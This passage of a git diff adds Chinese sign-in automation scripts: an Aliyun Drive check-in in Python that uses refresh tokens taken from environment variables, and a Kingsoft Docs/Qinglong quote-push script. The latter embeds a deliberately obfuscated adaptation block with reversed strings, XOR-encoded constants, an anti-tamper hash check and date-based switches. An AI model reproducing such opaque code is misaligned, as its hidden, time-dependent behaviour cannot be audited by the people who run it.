对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + input = Range("D" + pos).Value2 + let url = "https://api.suyanw.cn/api/qwxh.php" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 签到结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i bool: + """刷新 access_token""" + url = 'https://auth.aliyundrive.com/v2/account/token' + payload = {'grant_type': 'refresh_token', 'refresh_token': self.refresh_token} + try: + res = self.session.post(url, json=payload, timeout=10).json() + if 'access_token' in res: + self.access_token = res['access_token'] + self.refresh_token = res['refresh_token'] # 更新持久化的token + return True + logger.error(f"[{self.name}] 刷新 Token 失败: {res.get('message', '未知错误')}") + return False + except Exception as e: + logger.error(f"[{self.name}] 刷新请求异常: {e}") + return False + + def check_in(self) -> Dict: + """执行签到""" + url = 'https://member.aliyundrive.com/v1/activity/sign_in_list' + headers = {**self.headers, "Authorization": f"Bearer {self.access_token}"} + try: + res = self.session.post(url, params={'_rx-s': 'mobile'}, json={'isReward': False}, headers=headers, timeout=10).json() + return res + except Exception as e: + return {"success": False, "message": str(e)} + + def get_reward(self, day: int) -> str: + """领取奖励""" + url = 'https://member.aliyundrive.com/v1/activity/sign_in_reward' + headers = {**self.headers, "Authorization": f"Bearer {self.access_token}"} + try: + res = self.session.post(url, params={'_rx-s': 'mobile'}, json={'signInDay': day}, headers=headers, timeout=10).json() + return res.get('result', {}).get('notice', res.get('message', '未获取到奖励明细')) + except Exception: + return "奖励领取请求异常" + + def get_capacity(self) -> str: + """查询容量""" + def fmt(s): return f"{s/1024/1024/1024:.2f} GB" if s > 0 else "0 GB" + url = 'https://api.aliyundrive.com/adrive/v1/user/driveCapacityDetails' + headers = {**self.headers, "Authorization": f"Bearer {self.access_token}"} + try: + res = self.session.post(url, json={}, headers=headers, timeout=10).json() + return (f"总空间: {fmt(res.get('drive_total_size', 0))}\n" + f"已用空间: {fmt(res.get('drive_used_size', 0))}") + except: return "容量查询失败" + + def run(self): + logger.info(f"--- 账号 [{self.name}] 开始签到 ---") + if not self._refresh_access_token(): + return f"[{self.name}] ❌ 登录失效" + + res = self.check_in() + if not res.get('success'): + return f"[{self.name}] ❌ 签到失败: {res.get('message')}" + + count = res.get('result', {}).get('signInCount', 0) + reward_info = self.get_reward(count) + cap_info = self.get_capacity() + + msg = (f"【{self.name}】签到成功!\n" + f"本月累计签到: {count} 天\n" + f"本次奖励: {reward_info}\n" + f"{cap_info}") + return msg + +# ==================== 通知逻辑 ==================== +def send_notify(title, content): + """简易通知,如果有 notify.py 则尝试调用""" + try: + from notify import send + print(title, content) + except ImportError: + logger.info("\n--- 通知预览 ---\n" + title + "\n" + content) + +# ==================== 主入口 ==================== +def main(): + raw_conf = os.getenv("ALIYUN_ACCOUNTS", "") + if not raw_conf: + logger.error("未找到环境变量 ALIYUN_ACCOUNTS") + return + + # 按 & 或 换行 分隔账号 + account_list = re.split(r'[&\n]+', raw_conf.strip()) + final_reports = [] + + for idx, acc_str in enumerate(account_list): + if not acc_str.strip(): continue + + # 按 # 分隔 token 和 备注 + parts = acc_str.split('#') + token = parts[0].strip() + name = parts[1].strip() if len(parts) > 1 else f"账号{idx+1}" + + if not token: + logger.warning(f"账号 {name} 缺少 refresh_token,跳过") + continue + + client = ALiYun(name, token) + try: + report = client.run() + final_reports.append(report) + except Exception as e: + logger.error(f"运行异常: {e}") + final_reports.append(f"[{name}] 运行发生异常") + + # 账号间随机延迟 + if idx < len(account_list) - 1: + time.sleep(random.randint(3, 8)) + + if final_reports: + print("阿里云盘签到报告", "\n" + "="*20 + "\n" + "\n\n".join(final_reports)) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/脚本库/web版/账密/随机一句一言/2025-08-25_oneyan_7ff4ea80.js b/脚本库/web版/账密/随机一句一言/2025-08-25_oneyan_7ff4ea80.js new file mode 100644 index 0000000..b2ab82d --- /dev/null +++ b/脚本库/web版/账密/随机一句一言/2025-08-25_oneyan_7ff4ea80.js @@ -0,0 +1,630 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/oneyan.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/oneyan.js +// # Repo: imoki/sign_script +// # Path: polymerization/oneyan.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 7ff4ea806378789fd11d80171f9a61788800c54307e023cf968cff8472929df3 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "随机一句一言" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:oneyan + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "oneyan"; // 分配置表名称, (修改这里) +var pushHeader = "【随机一句一言】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 